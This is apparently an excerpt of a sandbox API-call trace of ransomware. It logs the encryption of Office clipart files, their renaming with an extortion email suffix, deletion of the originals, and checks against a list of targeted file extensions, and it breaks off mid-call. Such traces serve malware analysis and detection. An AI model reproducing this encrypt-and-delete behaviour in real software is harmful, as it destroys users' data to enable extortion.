[0302.690] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x34f0, lpOverlapped=0x0) returned 1 [0302.691] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.691] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.691] SetEndOfFile (hFile=0x370) returned 1 [0302.691] CloseHandle (hObject=0x370) returned 1 [0302.691] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.691] SetEndOfFile (hFile=0x358) returned 1 [0302.692] CloseHandle (hObject=0x358) returned 1 [0302.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0302.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0302.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0302.693] lstrlenW (lpString=".doc") returned 4 [0302.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.693] lstrlenW (lpString=".docx") returned 5 [0302.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.693] lstrlenW (lpString=".pdf") returned 4 [0302.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.693] lstrlenW (lpString=".xls") returned 4 [0302.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.693] lstrlenW (lpString=".xlsx") returned 5 [0302.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.693] lstrlenW (lpString=".ppt") returned 4 [0302.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0302.693] lstrlenW (lpString=".zip") returned 4 [0302.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.693] lstrlenW (lpString=".rar") returned 4 [0302.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.693] lstrlenW (lpString=".bz2") returned 4 [0302.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.693] lstrlenW (lpString=".7z") returned 3 [0302.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0302.693] lstrlenW (lpString=".dbf") returned 4 [0302.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0302.694] lstrlenW (lpString=".1cd") returned 4 [0302.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0302.694] lstrlenW (lpString=".jpg") returned 4 [0302.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.694] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.694] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.694] GetLastError () returned 0x0 [0302.695] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x16a6, lpOverlapped=0x0) returned 1 [0302.695] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x16b0, lpOverlapped=0x0) returned 1 [0302.696] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.696] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.696] SetEndOfFile (hFile=0x370) returned 1 [0302.696] CloseHandle (hObject=0x370) returned 1 [0302.696] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.696] SetEndOfFile (hFile=0x358) returned 1 [0302.697] CloseHandle (hObject=0x358) returned 1 [0302.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0302.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0302.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0302.698] lstrlenW (lpString=".doc") returned 4 [0302.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.698] lstrlenW (lpString=".docx") returned 5 [0302.698] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.698] lstrlenW (lpString=".pdf") returned 4 [0302.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.698] lstrlenW (lpString=".xls") returned 4 [0302.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.698] lstrlenW (lpString=".xlsx") returned 5 [0302.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.698] lstrlenW (lpString=".ppt") returned 4 [0302.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0302.698] lstrlenW (lpString=".zip") returned 4 [0302.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.698] lstrlenW (lpString=".rar") returned 4 [0302.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.698] lstrlenW (lpString=".bz2") returned 4 [0302.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.698] lstrlenW (lpString=".7z") returned 3 [0302.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0302.699] lstrlenW (lpString=".dbf") returned 4 [0302.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0302.699] lstrlenW (lpString=".1cd") returned 4 [0302.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0302.699] lstrlenW (lpString=".jpg") returned 4 [0302.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.699] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.699] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.700] GetLastError () returned 0x0 [0302.700] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xe86, lpOverlapped=0x0) returned 1 [0302.700] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xe90, lpOverlapped=0x0) returned 1 [0302.701] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.701] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.701] SetEndOfFile (hFile=0x370) returned 1 [0302.701] CloseHandle (hObject=0x370) returned 1 [0302.701] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.701] SetEndOfFile (hFile=0x358) returned 1 [0302.702] CloseHandle (hObject=0x358) returned 1 [0302.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0302.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0302.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0302.703] lstrlenW (lpString=".doc") returned 4 [0302.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.703] lstrlenW (lpString=".docx") returned 5 [0302.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.703] lstrlenW (lpString=".pdf") returned 4 [0302.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.703] lstrlenW (lpString=".xls") returned 4 [0302.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.703] lstrlenW (lpString=".xlsx") returned 5 [0302.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.703] lstrlenW (lpString=".ppt") returned 4 [0302.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0302.703] lstrlenW (lpString=".zip") returned 4 [0302.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.703] lstrlenW (lpString=".rar") returned 4 [0302.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.703] lstrlenW (lpString=".bz2") returned 4 [0302.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.703] lstrlenW (lpString=".7z") returned 3 [0302.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0302.703] lstrlenW (lpString=".dbf") returned 4 [0302.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0303.000] lstrlenW (lpString=".1cd") returned 4 [0303.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0303.001] lstrlenW (lpString=".jpg") returned 4 [0303.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.001] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.001] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0303.001] GetLastError () returned 0x0 [0303.002] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1780, lpOverlapped=0x0) returned 1 [0303.002] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1790, lpOverlapped=0x0) returned 1 [0303.060] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.060] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.060] SetEndOfFile (hFile=0x34c) returned 1 [0303.060] CloseHandle (hObject=0x34c) returned 1 [0303.061] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.061] SetEndOfFile (hFile=0x36c) returned 1 [0303.062] CloseHandle (hObject=0x36c) returned 1 [0303.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0303.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0303.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0303.063] lstrlenW (lpString=".doc") returned 4 [0303.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.063] lstrlenW (lpString=".docx") returned 5 [0303.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.063] lstrlenW (lpString=".pdf") returned 4 [0303.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.063] lstrlenW (lpString=".xls") returned 4 [0303.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.063] lstrlenW (lpString=".xlsx") returned 5 [0303.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.063] lstrlenW (lpString=".ppt") returned 4 [0303.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0303.063] lstrlenW (lpString=".zip") returned 4 [0303.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.063] lstrlenW (lpString=".rar") returned 4 [0303.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.063] lstrlenW (lpString=".bz2") returned 4 [0303.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.063] lstrlenW (lpString=".7z") returned 3 [0303.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0303.063] lstrlenW (lpString=".dbf") returned 4 [0303.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0303.064] lstrlenW (lpString=".1cd") returned 4 [0303.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0303.064] lstrlenW (lpString=".jpg") returned 4 [0303.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.064] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.064] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0303.065] GetLastError () returned 0x0 [0303.065] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1746, lpOverlapped=0x0) returned 1 [0303.066] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1750, lpOverlapped=0x0) returned 1 [0303.067] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.067] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.067] SetEndOfFile (hFile=0x34c) returned 1 [0303.067] CloseHandle (hObject=0x34c) returned 1 [0303.067] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.067] SetEndOfFile (hFile=0x36c) returned 1 [0303.068] CloseHandle (hObject=0x36c) returned 1 [0303.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0303.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0303.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0303.069] lstrlenW (lpString=".doc") returned 4 [0303.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.069] lstrlenW (lpString=".docx") returned 5 [0303.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.069] lstrlenW (lpString=".pdf") returned 4 [0303.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.069] lstrlenW (lpString=".xls") returned 4 [0303.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.069] lstrlenW (lpString=".xlsx") returned 5 [0303.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.069] lstrlenW (lpString=".ppt") returned 4 [0303.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0303.069] lstrlenW (lpString=".zip") returned 4 [0303.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.069] lstrlenW (lpString=".rar") returned 4 [0303.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.069] lstrlenW (lpString=".bz2") returned 4 [0303.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.069] lstrlenW (lpString=".7z") returned 3 [0303.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0303.070] lstrlenW (lpString=".dbf") returned 4 [0303.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0303.070] lstrlenW (lpString=".1cd") returned 4 [0303.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0303.070] lstrlenW (lpString=".jpg") returned 4 [0303.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.070] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.070] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0303.071] GetLastError () returned 0x0 [0303.071] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1c80, lpOverlapped=0x0) returned 1 [0303.072] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1c90, lpOverlapped=0x0) returned 1 [0303.073] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.073] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.073] SetEndOfFile (hFile=0x34c) returned 1 [0303.073] CloseHandle (hObject=0x34c) returned 1 [0303.073] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.073] SetEndOfFile (hFile=0x36c) returned 1 [0303.074] CloseHandle (hObject=0x36c) returned 1 [0303.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0303.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.075] lstrlenW (lpString=".doc") returned 4 [0303.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.075] lstrlenW (lpString=".docx") returned 5 [0303.075] lstrcmpiW 